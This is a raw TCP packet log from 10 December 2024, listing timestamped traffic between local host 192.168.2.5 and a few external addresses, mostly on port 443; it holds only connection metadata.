Dec 10, 2024 00:07:15.230719090 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.239494085 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.239535093 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.239556074 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.239562035 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.239572048 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.239588976 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.239604950 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.240267992 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.240272045 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.281250000 CET	49852	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.281258106 CET	443	49852	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.281307936 CET	49852	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.282135963 CET	49852	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.282144070 CET	443	49852	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.386404037 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.386425018 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.386496067 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.386728048 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.386740923 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.085737944 CET	443	49852	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.085994005 CET	49852	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.086010933 CET	443	49852	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.086880922 CET	443	49852	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.086939096 CET	49852	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.087318897 CET	49852	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.087378979 CET	443	49852	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.138792038 CET	49852	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.138799906 CET	443	49852	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.140857935 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.141083956 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.141093016 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.141958952 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.142019033 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.142318964 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.142373085 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.142440081 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.142446995 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.186165094 CET	49852	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.186166048 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.655061960 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.707710981 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.724066973 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.724076033 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.724208117 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.724220991 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.724231005 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.724334955 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.724334955 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.724354982 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.724395990 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.891798019 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.891808033 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.891858101 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.891900063 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.891920090 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.891949892 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.891968012 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.966650009 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.966700077 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.966751099 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.966759920 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:17.966903925 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:17.966903925 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.067863941 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.067892075 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.068084002 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.068109035 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.068154097 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.093573093 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.093595982 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.093666077 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.093683004 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.093720913 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.116075993 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.116096973 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.116211891 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.116226912 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.116266966 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.137490034 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.137507915 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.137557983 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.137573957 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.137602091 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.137628078 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.252737045 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.252763987 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.252804041 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.252829075 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.252857924 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.252876043 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.262353897 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.262391090 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.262406111 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.262413979 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.262428045 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:18.262449980 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.262468100 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.262573004 CET	49853	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:18.262588024 CET	443	49853	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:20.614316940 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:20.614362001 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:20.614415884 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:20.615232944 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:20.615245104 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:20.741504908 CET	49875	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:07:20.741554022 CET	443	49875	142.250.181.68	192.168.2.5
Dec 10, 2024 00:07:20.741657019 CET	49875	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:07:20.741914988 CET	49875	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:07:20.741929054 CET	443	49875	142.250.181.68	192.168.2.5
Dec 10, 2024 00:07:22.398855925 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.399111986 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:22.399122953 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.399481058 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.399801016 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:22.399867058 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.399930954 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:22.443341970 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.462768078 CET	443	49875	142.250.181.68	192.168.2.5
Dec 10, 2024 00:07:22.462996960 CET	49875	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:07:22.463015079 CET	443	49875	142.250.181.68	192.168.2.5
Dec 10, 2024 00:07:22.463345051 CET	443	49875	142.250.181.68	192.168.2.5
Dec 10, 2024 00:07:22.463638067 CET	49875	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:07:22.463701963 CET	443	49875	142.250.181.68	192.168.2.5
Dec 10, 2024 00:07:22.514296055 CET	49875	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:07:22.911504030 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.956909895 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:22.983419895 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.983433962 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.983473063 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.983500004 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:22.983508110 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.983515024 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:22.983545065 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.149368048 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.149396896 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.149432898 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.149442911 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.149485111 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.225370884 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.225389004 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.225449085 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.225464106 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.225507975 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.325639963 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.325656891 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.325706959 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.325720072 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.325758934 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.361145973 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.361160994 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.361207962 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.361216068 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.361241102 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.361260891 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.383368015 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.383384943 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.383431911 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.383440018 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.383492947 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.415031910 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.415047884 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.415102005 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.415122986 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.415179014 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.532558918 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.532574892 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.532615900 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.532627106 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.532645941 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.532666922 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.546324968 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.546340942 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.546377897 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.546386957 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.546418905 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.556416035 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.556432009 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.556478024 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.556489944 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.556521893 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.556540012 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.568051100 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.568067074 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.568114042 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.568124056 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.568159103 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.568183899 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.579564095 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.579580069 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.579616070 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.579668045 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.579673052 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.579716921 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.590464115 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.590477943 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.590528965 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.590542078 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.590591908 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.713660955 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.713675976 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.713737011 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.713748932 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.713798046 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.723238945 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.723258018 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.723289013 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.723295927 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.723346949 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.733134031 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.733150959 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.733189106 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.733196974 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.733217955 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.733237982 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.743199110 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.743238926 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.743261099 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.743267059 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.743297100 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.743333101 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.751822948 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.751837969 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.751883984 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.751892090 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.751929045 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.761090994 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.761107922 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.761158943 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.761167049 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.761219978 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.771128893 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.771146059 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.771193027 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.771208048 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.771244049 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.780983925 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.780998945 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.781066895 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.781086922 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.781125069 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.906610012 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.906630993 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.906719923 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.906761885 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.906853914 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.915321112 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.915337086 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.915400028 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.915407896 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.915441036 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.923887014 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.923902988 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.923949957 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.923958063 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.924012899 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.931463957 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.931479931 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.931533098 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.931540012 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.931952000 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.940104008 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.940119982 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.940196037 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.940205097 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.940676928 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.948210955 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.948240042 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.948287964 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.948296070 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.948323011 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.948333979 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.951889038 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.951951027 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.951956987 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.951972961 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.952027082 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.952155113 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.952167988 CET	443	49873	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.952192068 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.952217102 CET	49873	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.956085920 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.956129074 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:23.956212997 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.956506014 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:23.956517935 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:25.752034903 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:25.752258062 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:25.752269983 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:25.752563953 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:25.752868891 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:25.752938986 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:25.752983093 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:25.795345068 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.263828993 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.303778887 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.383162975 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.383171082 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.383203983 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.383232117 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.383233070 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.383264065 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.383279085 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.383301973 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.497937918 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.497966051 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.498013020 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.498037100 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.498055935 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.498083115 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.520720959 CET	49718	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:07:26.536674023 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.536699057 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.536747932 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.536760092 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.536791086 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.536813021 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.640866995 CET	80	49718	184.168.110.22	192.168.2.5
Dec 10, 2024 00:07:26.640930891 CET	49718	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:07:26.702728987 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.702754021 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.702799082 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.702822924 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.702851057 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.702862024 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.724100113 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.724122047 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.724169970 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.724186897 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.724216938 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.724236012 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.744045019 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.744091034 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.744126081 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.744134903 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.744164944 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.744182110 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.808482885 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.808511019 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.808557987 CET	49882	443	192.168.2.5	152.199.21.175
